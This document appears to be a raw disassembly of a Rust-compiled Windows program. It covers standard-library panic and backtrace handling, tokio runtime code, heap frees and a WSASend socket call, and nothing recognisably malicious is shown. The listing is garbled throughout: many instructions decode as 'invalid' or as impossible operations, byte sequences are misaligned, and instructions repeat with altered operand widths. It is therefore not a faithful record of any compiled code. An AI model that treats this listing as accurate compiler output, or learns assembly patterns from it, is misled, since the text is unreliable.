mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rcx
lea rcx, [0x1400e23d0]
mov qword [rbp - 8], rcx
clc
clc
mov qword [rbp], rdx
mov qword [rbp + 8], rax
lea rax, str.thread__panicked_at_:_n_n
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 4
mov qword [rbp - 0x38], 0
mov dword [rbp - 0x38], 0
mov dword [rbp - 0x38], 0
enter 0, 0
add byte [rax - 0x73], cl
loopne 0x1400e1dc7
lea rax, [rbp - 0x20]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x48], eax
mov qword [rbp - 0x40], 3
mov r14, qword [r8 + 0x48]
lea rdx, [rbp - 0x58]
mov rcx, rsi
call r14
mov qword [rbp - 0x28], rax
test rax, rax
je 0x1400e1daa
lea rcx, [rbp - 0x28]
call fcn.1400d3380
mov rax, qword [rbx + 0x18]
mov eax, dword [rbx + 0x18]
movzx eax, byte [rax]
lea rcx, [0x140179938]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
enter 0xffffffffffffe0ff, 0x48
mov ecx, esi
jmp rax
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
call fcn.1400e2460
mov qword [rbp - 0x20], rax
test rax, rax
jne 0x1400e1df1
jmp case.0x1400e1dbf.3
mov rcx, rsi
mov ecx, esi
mov rdx, rdi
mov r8b, 1
call fcn.1400e2460
mov qword [rbp - 0x20], rax
test rax, rax
je case.0x1400e1dbf.3
lea rcx, [rbp - 0x20]
jmp 0x1400e1e3c
xor eax, eax
xchg byte [0x140182018], al
test al, al
je case.0x1400e1dbf.3
lea rax, str.note:_run_with__RUST_BACKTRACE1__environment_variable_to_display_a_backtrace_n
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
mov qword [rbp - 0x10], 8
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rdx, [rbp - 0x20]
mov rcx, rsi
call r14
mov qword [rbp - 0x58], rax
test rax, rax
je case.0x1400e1dbf.3
lea rcx, [rbp - 0x58]
call fcn.1400d3380
nop
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
xor eax, eax
mov rdx, r14
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
in eax, dx
jmp 0x1400e1fb3
mov rcx, qword [rbx + 8]
add rcx, r15
mov r8, r12
call fcn.140106530
add r15, r12
mov qword [rbx + 0x10], r15
add r13, 0x10
cmp rsi, r13
je 0x1400e1ef8
mov rdx, qword [rdi + r13 + 8]
mov r12d, dword [rdi + r13]
mov rax, qword [rbx]
sub rax, r15
cmp rax, r12
jae 0x1400e1f90
mov rcx, rbx
mov qword [rbp], rdx
mov rdx, r15
mov r8, r12
call fcn.1401103f0
mov rdx, qword [rbp]
mov r15, qword [rbx + 0x10]
jmp 0x1400e1f90
insb byte [rdi], dx
and al, 0x20
mov rsi, r8
mov rdi, rcx
iretd
mov rax, qword [rcx]
mov rbx, qword [rcx + 0x10]
iretd
sub rax, rbx
cmp rax, r8
jb 0x1400e2067
mov rcx, qword [rdi + 8]
add rcx, rbx
mov r8, rsi
call fcn.140106530
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov rcx, rdi
mov r14, rdx
mov rdx, rbx
mov r8, rsi
call fcn.1401103f0
mov rdx, r14
mov rbx, qword [rdi + 0x10]
jmp 0x1400e2044
mov dword [rbp - 8], 0
movzx eax, byte [0x140182222]
mov rax, qword [rdx + 0x48]
mov byte [rbp - 1], r8b
lea rdx, [rbp - 1]
mov qword [rbp - 0x18], rdx
lea rdx, [0x1400df940]
mov qword [rbp - 0x10], rdx
lea rdx, [0x140173648]
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x28], 0
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 1
lea rdx, [rbp - 0x48]
call rax
cmp byte [rbp - 8], 0
jne 0x1400e250b
mov rcx, qword [0x140182308]
shl rcx, 1
test rcx, rcx
jne case.0x1400d7e58.250
xor ecx, ecx
xchg byte [0x140182221], cl
cmp cl, 2
jne 0x1400e252b
lea rcx, [0x140182221]
mov rsi, rax
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rax, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea eax, [0x140182221]
mov rsi, rcx
mov rcx, rax
mov ebx, r8d
mov rdi, rdx
call fcn.140110530
mov rdx, rdi
mov r8d, ebx
fmul dword [rax - 0x77]
int1
fmul dword [rax - 0x77]
int1
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400e249c
mov rsi, rcx
mov ebx, r8d
ret
mov rdi, rdx
call fcn.1401105f0
mov rdx, rdi
mov r8d, ebx
mov rcx, rsi
xor al, 1
mov dword [rbp - 8], eax
jmp 0x1400e24a3
ret
mov rsi, rax
call fcn.1401105f0
mov ecx, eax
mov rax, rsi
test cl, cl
jne 0x1400e250b
int3
mov r9, rcx
mov ecx, 0xfffffff4
pop rbp
jmp 0x1400d3770
int3
push rbp
mov rbp, rsp
mov r9, rcx
add rdx, 0xfffffffffffffff0
add edx, 0xfffffff0
add edx, 0xfffffff0
shl r8, 4
nop
test r8, r8
je 0x1400e262b
invalid
invalid
mov eax, dword [rdx + 0x10]
add rdx, 0x10
add r8, 0xfffffffffffffff0
test rax, rax
je 0x1400e2610
invalid
jmp 0x1400e266e
mov rdx, qword [rdx + 8]
jmp 0x1400e2632
mov edx, 1
xor eax, eax
mov ecx, 0xfffffff4
mov r8, rax
mov eax, eax
mov eax, eax
pop rbp
jmp 0x1400d3770
clc
lea rcx, [rbp - 0x18]
call fcn.1400e2680
int3
mov edx, dword [rax]
mov rax, qword [rdx]
mov rdx, qword [rdx + 8]
invalid
or byte [rax - 0x77], cl
fmul dword [r8 - 0x77]
push rbp
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
loopne 0x1400e2726
mov eax, dword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r8, qword [rax + 0x10]
adc byte [rdi], cl
mov dh, 0x48
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
and byte [rax - 0x73], cl
adc eax, 0x684b0
lea rcx, [rbp - 0x28]
call fcn.1400e2790
loopne 0x1400e2726
mov qword [rbp - 0x10], rax
movabs rax, 0x8000000000000000
mov qword [rbp - 0x28], rax
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r8, qword [rax + 0x10]
movzx ecx, byte [rax + 0x20]
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
lea rdx, fcn.1400e1b30
lea rcx, [rbp - 0x28]
call fcn.1400e2790
add byte [rax], al
ud2
xor byte [rax - 0x73], cl
push 0x60
mov rax, qword [rbp - 0x28]
shl rax, 1
test rax, rax
jne 0x1400e2770
add rsp, 0x30
pop rbp
ret
mov r8, qword [rbp - 0x20]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x30
pop rbp
ret
push r14
push rsi
push rdi
push rbx
sub rsp, 0x110
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x88], 0xfffffffffffffffe
invalid
invalid
dec dword [rdi]
mov dh, 0x85
call 0x14f0e27b8
add byte [rax], al
add byte [rdi], cl
mov dh, 0x9d
loopne case.0x1400db533.156
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x9d
loopne case.0x1400db533.156
add byte [rax], al
lock inc qword [0x140182308]
or dword [rax], eax
add byte [rdi], cl
mov ds, ebp
invalid
jle 0x1400e2ea9
mov rdi, rdx
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
add byte [rax - 0x75], cl
or al, 0xca
cmp byte [rcx + 0x80], 0
jne 0x1400e2f36
mov ecx, dword [0x140182314]
sbb al, 0xfb
sti
or dword [rax], eax
mov rdx, qword gs:[0x58]
and eax, 0x58
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
inc qword [rcx + 0x78]
js 0x1400e280a
add byte [rax], al
mov byte [rcx + 0x80], 1
mov qword [rbp + 0x20], 1
add dword [rax + 0x1000000], 0x2045c748
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax - 0x39], ecx
and byte [r9], r8b
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [0x14014ac00]
lea rcx, [0x14014ac00]
lea ecx, [0x14014ac00]
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
cmp byte [r8 + 0x4588405d], r9b
mov eax, dword [0x140182228]
sub byte [r9 + rcx*4 + 0x45], r9b
xor byte [rcx + rcx*4 + 0x4d], cl
cmp byte [rax + 0x4588405d], cl
cmp byte [r8 + 0x4588405d], r9b
mov eax, dword [0x140182228]
or dword [rax], eax
cmp eax, 0x3ffffffd
ja 0x1400e284e
invalid
or eax, 0xf001488d
cmpxchg dword [0x140182228], ecx
fdiv st(1), st(0)
or dword [rax], eax
lea ecx, [rax + 1]
lock cmpxchg dword [0x140182228], ecx
fdiv st(1), st(0)
or dword [rax], eax
fdiv st(1), st(0)
or dword [rax], eax
je 0x1400e2853
call fcn.140110dd0
movzx eax, byte [0x140182230]
cmp qword [0x140182238], 0
cmp eax, 0x9f9d6
add byte [rax - 0x75], cl
and byte [r13 + 0x51], r14b
mov dh, 5
invalid
cmp eax, 0x9f9d6
add byte [rax - 0x75], cl
and byte [r13 + 0x51], r14b
mov byte [rbp + 0x87], 1
mov rcx, rsi
add byte [rax], al
add dword [rax - 0x77], ecx
int1
call rax
mov rsi, rax
mov rdi, rdx
mov qword [rbp + 0x20], rax
and byte [r8 - 0x77], r9b
push rbp
sub byte [rax + 0xf00417d], al
invalid
invalid
add byte [rax], al
invalid
and byte [r8 - 0x77], r9b
push rbp
sub byte [rax + 0xf00417d], al
test dword [rdi - 0x75000000], edi
add eax, 0x9fa82
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
cmp qword [rax + 0x78], 1
jbe 0x1400e2957
invalid
add byte [rax], al
add dword [rdi], ecx
xchg byte [rdx - 0x3a000000], ch
add dh, al
add dh, al
mov byte [rbp + 0x80], 1
test dword [rax + 0x1000000], eax
jmp 0x1400e2ad1
mov byte [rbp + 0x87], 1
add byte [rax], al
add byte [rcx], al
mov rcx, rsi
call rax
ror byte [rax - 0x77], 1
and byte [r8 - 0x77], r9b
push rbp
sub byte [rax - 0x75], cl
or eax, 0x9f964
ror byte [rax - 0x77], 1
and byte [r8 - 0x77], r9b
push rbp
sub byte [rax - 0x75], cl
or eax, 0x9f964
stc
or dword [rax], eax
mov rax, qword [0x140182240]
stc
or dword [rax], eax
mov rax, qword [rax + 0x28]
mov byte [rbp + 0x87], 1
sub sil, al
test dword [rdi + 0x1000000], eax
lea rdx, [rbp + 0x20]
call rax
mov edx, 0xffffffff
lock xadd dword [0x140182228], edx
dec edx
mov eax, edx
and eax, 0xbfffffff
cmp eax, 0x80000000
jne 0x1400e291c
mov byte [rbp + 0x87], 0
lea rcx, [0x140182228]
or dword [rax], eax
or dword [rax], eax
call fcn.140110d00
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x80], 0
test bl, bl
je 0x1400e29af
mov byte [rbp + 0x87], 0
call fcn.1400df180
invalid
jmp 0x1400e2bdf
invalid
mov byte [rbp + 0x80], 3
jmp 0x1400e2ad1
movzx eax, byte [0x140182220]
movzx eax, al
lea rcx, [0x140179948]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [rbp + 0x87], 1
lea rdx, str.RUST_BACKTRACElibrary_std_srcenv.rsfailed_to_set_environment_variable____to___:
lea rcx, [rbp - 0x20]
mov r8d, 0xe
mov eax, 0xe
mov eax, 0xe
call fcn.1400d92f0
mov rax, qword [rbp - 0x20]
movabs rcx, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc83948], al
invalid
invalid
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc83948], al
test dword [rsi - 0x50000000], edi
add eax, dword [rax - 0x4a]
add ch, cl
or eax, 0xc7000001
invalid
mov al, 3
mov sil, 2
jmp 0x1400e2abc
mov dword [rbp + 0x60], 0
mov byte [rbp + 0x64], 0
lea rax, str.thread_caused_non_unwinding_panic._aborting._n
add eax, 0x6833f
add eax, 0x6833f
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
invalid
loopne 0x1400e2a0e
mov dword [rbp - 0x18], 1
add byte [rax - 0x39], cl
lock or byte [rax], al
add byte [rax], al
mov qword [rbp - 0x10], 8
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rax, [rbp + 0x60]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 0
lea rdx, [0x140149810]
lea rcx, [rbp - 0x48]
lea ecx, [rbp - 0x48]
lea ecx, [rbp - 0x48]
lea r8, [rbp - 0x20]
call fcn.140013990
nop
psllq mm7, mm7
nop
psllq mm7, mm7
mov rcx, qword [rbp - 0x40]
test al, al
je 0x1400e2a2f
test rcx, rcx
lea rax, str.formatter_error
invalid
add byte [rax + 0xf], cl
shr r11d, 0x2e
invalid
invalid
mov sil, 1
jmp 0x1400e2ac2
mov sil, 2
jmp 0x1400e2ac2
xor esi, esi
jmp 0x1400e2ac2
test rcx, rcx
je 0x1400e2a44
mov byte [rbp + 0x87], 0
lea rcx, [rbp - 0x40]
call fcn.1400d3380
xor eax, eax
mov qword [rbp - 0x48], rax
mov byte [rbp + 0x87], 0
lea rcx, [rbp - 0x48]
call fcn.1400d3360
mov ecx, 7
int 0x29
ud2
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
cmp rcx, 4
je 0x1400e2a84
cmp rcx, 1
jne 0x1400e2aa3
cmp byte [r8], 0x30
sete sil
add sil, sil
jmp 0x1400e2aa5
mov ecx, dword [r8]
bswap ecx
xor edx, edx
cmp ecx, 0x66756c6d
setae dl
cmp ecx, 0x66756c6c
sbb edx, 0
sete sil
jmp 0x1400e2aa5
xor esi, esi
test rax, rax
je 0x1400e2ab9
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea eax, [rsi + 1]
mov byte [0x140182220], al
mov byte [rbp + 0x80], sil
mov rsi, qword [rbp + 0x20]
mov rdi, qword [rbp + 0x28]
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x10], rax
mov rax, qword [rdi + 0x18]
mov byte [rbp + 0x87], 1
mov rcx, rsi
call rax
movabs rcx, 0xb98b1b7157a64178
cmp rax, rcx
jne 0x1400e2be1
mov eax, 8
movabs r8, 0x63eb502cd6cb5d6d
mov rcx, rsi
cmp rdx, r8
jne 0x1400e2be1
mov r8, qword [rcx]
mov rcx, qword [rsi + rax]
mov qword [rbp + 0x60], r8
mov qword [rbp + 0x68], rcx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xc8]
cmp eax, 1
je 0x1400e2b94
test eax, eax
jne 0x1400e2c3a
mov byte [rbp + 0x87], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xc0]
lea rdx, [0x1400d46e0]
call fcn.1400d4720
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xc8], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xc0]
test rcx, rcx
jne 0x1400e2bd9
mov byte [rbp + 0x87], 1
call fcn.140110220
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xc0]
lock inc qword [rcx]
jg 0x1400e2c31
ud2
mov rax, qword [rdi + 0x18]
mov byte [rbp + 0x87], 1
mov rcx, rsi
call rax
movabs r9, 0x862c82227d016bb1
mov ecx, 0xc
lea r8, [0x14014a9dc]
cmp rax, r9
jne 0x1400e2b1e
movabs rax, 0x4336c129b69e010a
cmp rdx, rax
jne 0x1400e2b1e
lea rcx, [rsi + 8]
mov eax, 0x10
jmp 0x1400e2b17
test rcx, rcx
jne 0x1400e2d4d
mov eax, 9
lea rcx, [0x14014a9e8]
xor edx, edx
mov qword [rbp + 0x58], rdx
mov qword [rbp - 0x48], rcx
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x20], rax
lea rax, [rbp + 0x10]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x60]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x80]
mov qword [rbp - 8], rax
movzx eax, byte [0x1401821d8]
test al, al
jne 0x1400e2c87
xor r14d, r14d
jmp 0x1400e2cdc
mov byte [0x1401821d8], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x88], 0
jne 0x1400e2cc2
call fcn.1400dde10
test rax, rax
jne 0x1400e2cc9
mov eax, 1
mov sil, 1
xor r14d, r14d
jmp 0x1400e2ce0
lea rax, [rax + 0x90]
mov r14, qword [rax]
mov qword [rax], 0
test r14, r14
jne 0x1400e2d7a
xor esi, esi
xor eax, eax
mov dword [rbp + 0x50], 0
mov byte [rbp + 0x54], 0
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x58], rax
mov byte [rbp + 0x86], 1
lea r8, [0x14014aa48]
lea rcx, [rbp - 0x20]
lea rdx, [rbp + 0x50]
call fcn.1400e1d10
xor edi, edi
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x1400e2d24
lock dec qword [rcx]
jne 0x1400e2d24
call fcn.1400d4890
test r14, r14
sete al
or sil, dil
or sil, al
jne 0x1400e28ec
lock dec qword [r14]
jne 0x1400e28ec
mov rcx, r14
call case.0x1400792d3.1213
jmp 0x1400e28ec
mov rax, qword [rcx + 0x10]
test rax, rax
mov qword [rbp + 0x58], rcx
je 0x1400e2e51
cmp eax, 1
jne 0x1400e2e62
mov rdx, rcx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rdx + 0x20]
dec rax
jmp 0x1400e2c4c
lea rsi, [r14 + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r14 + 0x10], cl
je 0x1400e2d92
mov rcx, rsi
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
mov qword [rbp - 0x60], rsi
je 0x1400e2e9d
call fcn.1401105f0
xor al, 1
mov dword [rbp + 0x7c], eax
movzx eax, byte [r14 + 0x11]
mov qword [rbp + 0x70], r14
add r14, 0x18
lea r8, [0x14014a9f8]
lea rcx, [rbp - 0x20]
mov rdx, r14
call fcn.1400e1d10
cmp byte [rbp + 0x7c], 0
mov r14, qword [rbp + 0x70]
jne 0x1400e2dfa
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400e2dfa
call fcn.1401105f0
test al, al
jne 0x1400e2dfa
mov byte [r14 + 0x11], 1
xor eax, eax
mov rcx, qword [rbp - 0x60]
xchg byte [rcx], al
cmp al, 2
jne 0x1400e2e0c
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov byte [0x1401821d8], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x88], 0
jne 0x1400e2e73
call fcn.1400dde10
test rax, rax
mov r14, qword [rbp + 0x70]
jne 0x1400e2e7a
lock dec qword [r14]
mov rcx, r14
je 0x1400e2e8e
xor esi, esi
mov dil, 1
jmp 0x1400e2d10
mov eax, 4
lea rcx, str.main
jmp 0x1400e2c4c
mov eax, 9
lea rcx, [0x14014a9e8]
jmp 0x1400e2c4c
lea rax, [rax + 0x90]
mov rcx, qword [rax]
mov qword [rax], r14
mov dil, 1
test rcx, rcx
je 0x1400e2e96
lock dec qword [rcx]
jne 0x1400e2e96
call case.0x1400792d3.1213
mov dil, 1
xor esi, esi
jmp 0x1400e2d10
mov dword [rbp + 0x7c], 0
jmp 0x1400e2db3
mov qword [rbp + 0x20], 1
lea rcx, [0x14014ac00]
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
mov byte [rbp + 0x40], bl
mov byte [rbp + 0x41], al
mov dword [rbp + 0x10], 0
mov byte [rbp + 0x14], 0
lea rax, [rbp + 0x20]
mov qword [rbp - 0x48], rax
lea rax, [0x140016310]
mov qword [rbp - 0x40], rax
lea rax, [0x14014ac58]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 2
mov qword [rbp], 0
lea rax, [rbp - 0x48]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 1
lea rcx, [rbp + 0x10]
lea rdx, [rbp - 0x20]
call fcn.1400d32c0
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400e300c
lea rcx, [rbp + 0x60]
jmp 0x1400e3007
test r8, r8
je 0x1400e2f68
mov rdx, qword [r8 + 8]
mov rcx, qword [r8 + 0x18]
cmp rdx, 1
je 0x1400e2f5f
test rdx, rdx
jne 0x1400e2f68
test rcx, rcx
jne 0x1400e2f68
mov ecx, 1
xor edx, edx
jmp 0x1400e301f
test rcx, rcx
je 0x1400e3015
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x20], 0
xor ecx, ecx
mov qword [rbp - 0x48], 1
lea rdx, [0x14014ac00]
mov qword [rbp - 0x40], rdx
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], r9
mov byte [rbp - 0x28], bl
mov byte [rbp - 0x27], al
mov dword [rbp + 0x80], 0
mov byte [rbp + 0x84], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x60], rax
lea rax, [0x140016310]
mov qword [rbp + 0x68], rax
lea rax, [0x14014acb0]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 2
mov qword [rbp], 0
lea rax, [rbp + 0x60]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 1
lea rcx, [rbp + 0x80]
lea rdx, [rbp - 0x20]
call fcn.1400d32c0
mov qword [rbp + 0x50], rax
test rax, rax
je 0x1400e300c
lea rcx, [rbp + 0x50]
call fcn.1400d3380
mov ecx, 7
int 0x29
ud2
mov rdx, qword [r8]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 8]
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rcx, [rbp + 0x10]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], 1
mov qword [rbp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
lea rcx, [rbp + 0x20]
jmp 0x1400e2f7a
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
movaps xmmword [rsp + 0x50], xmm6
mov qword [rsp + 0x48], r8
mov rsi, qword [rcx + 0x10]
mov rbx, qword [rcx + 0x18]
cmp rbx, 0xffffffffffffffff
je 0x1400e7857
mov r14, qword [rdx]
mov r15d, 0xffffffff
cmp r9, r15
cmovb r15, r9
mov r12, qword [rcx + 0x20]
xorps xmm6, xmm6
jmp 0x1400e7717
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
dec r13
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
lea r13, [rsp + 0x38]
mov rcx, r13
mov rdx, rsi
mov r8, r14
mov r9b, 1
call fcn.1400e6d70
movzx eax, byte [rsp + 0x41]
cmp al, 3
je 0x1400e7873
mov rbp, qword [rsp + 0x38]
cmp al, 2
je 0x1400e788d
movzx edi, byte [rsp + 0x40]
mov dword [rsp + 0x38], 0
movups xmmword [rsp + 0x28], xmm6
mov dword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, qword [rsp + 0x48]
mov r8d, r15d
mov r9, r13
call qword [sym.imp.ws2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x1400e7897
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rcx, r13
call fcn.1400483f0
cmp al, 0xd
jne 0x1400e77ce
test r12, r12
je 0x1400e77ce
mov rcx, qword [r12]
mov rdx, qword [r12 + 8]
lock inc qword [rdx]
jle 0x1400e78b7
add rcx, 0x10
mov r8, qword [r12 + 0x10]
movzx r9d, byte [r12 + 0x18]
call fcn.1400473c0
test rax, rax
cmovne r13, rax
mov rcx, r13
call fcn.14001a360
cmp al, 0xd
jne 0x1400e7886
movzx ecx, dil
and ebp, 0x23
mov rax, qword [rsi + 0x90]
shl ecx, 0x10
xor rbp, 0x2f
nop word cs:[rax + rax]
mov edx, eax
shr edx, 0x10
cmp dil, dl
jne 0x1400e781c
mov edx, eax
and edx, ebp
or rdx, rcx
lock cmpxchg qword [rsi + 0x90], rdx
jne 0x1400e7800
mov eax, r13d
and eax, 3
cmp eax, 1
jne 0x1400e7717
mov rbp, qword [r13 - 1]
mov rdi, qword [r13 + 7]
mov rcx, rbp
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400e7702
cmp qword [rdi + 0x10], 0x11
jb 0x1400e76f0
mov rbp, qword [rbp - 8]
jmp 0x1400e76f0
mov r8, qword [rdx]
lea rcx, [rsp + 0x38]
mov rdx, rsi
mov r9b, 1
call fcn.1400e6d70
movzx eax, byte [rsp + 0x41]
cmp al, 3
jne 0x1400e787d
mov eax, 2
mov r13, rbp
jmp 0x1400e789e
cmp al, 2
jne 0x1400e78b9
mov r13, qword [rsp + 0x38]
mov eax, 1
jmp 0x1400e789e
mov eax, 1
mov r13, rbp
jmp 0x1400e789e
mov r13d, dword [rsp + 0x38]
xor eax, eax
mov rdx, r13
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140108970
int3
pop rax
add al, byte [rdx]
add byte [rax - 0x77], cl
and al, 0x28
lea rax, [rsp + 0x28]
mov qword [rsp + 0xb8], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0xc0], rax
test byte [rax + rax*8], ah
add byte [rax], al
invalid
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14014cec0]
lea rax, [0x14014cec0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rsp + 0x30]
call fcn.140108560
int3
cmp r15, r14
jae 0x1400e8845
xor r14d, r14d
jmp 0x1400e8818
inc r14
cmp rbx, r14
je 0x1400e8845
mov rcx, qword [rdi + r14*8]
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400e88d6
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400e8810
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x1400e8810
cmp qword [rsi + 0x40], 0
je 0x1400e885f
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsi], 2
je 0x1400e886c
mov rcx, rsi
call fcn.140068be0
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
jmp qword [sym.imp.kernel32.dll_HeapFree]
inc rbp
cmp r12, rbp
je 0x1400e87ff
mov rcx, qword [r13 + rbp*8]
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
clc
invalid
jbe 0x1400e88d6
clc
invalid
and rax, 0xffffffffffffffc0
loopne 0x1400e8887
cmp rax, 0x40
jne case.0x140018f24.3451
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp case.0x140018f24.3451
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
mov rax, r12
mov rcx, qword [rsp + 0x30]
ror rax, cl
tzcnt r11, rax
add r11, rcx
mov edx, 0x40
mov eax, 0x1000
and r11d, 0x3f
mov r8, rax
neg r8
and r8, r10
imul rdx, r11
add rdx, r8
cmp rdx, r10
mov r13d, 0
cmovbe r13, rax
add r13, rdx
inc r15
test r12, r12
jne 0x1400e939e
cmp r15, 6
je 0x1400e9395
cmp r15, r9
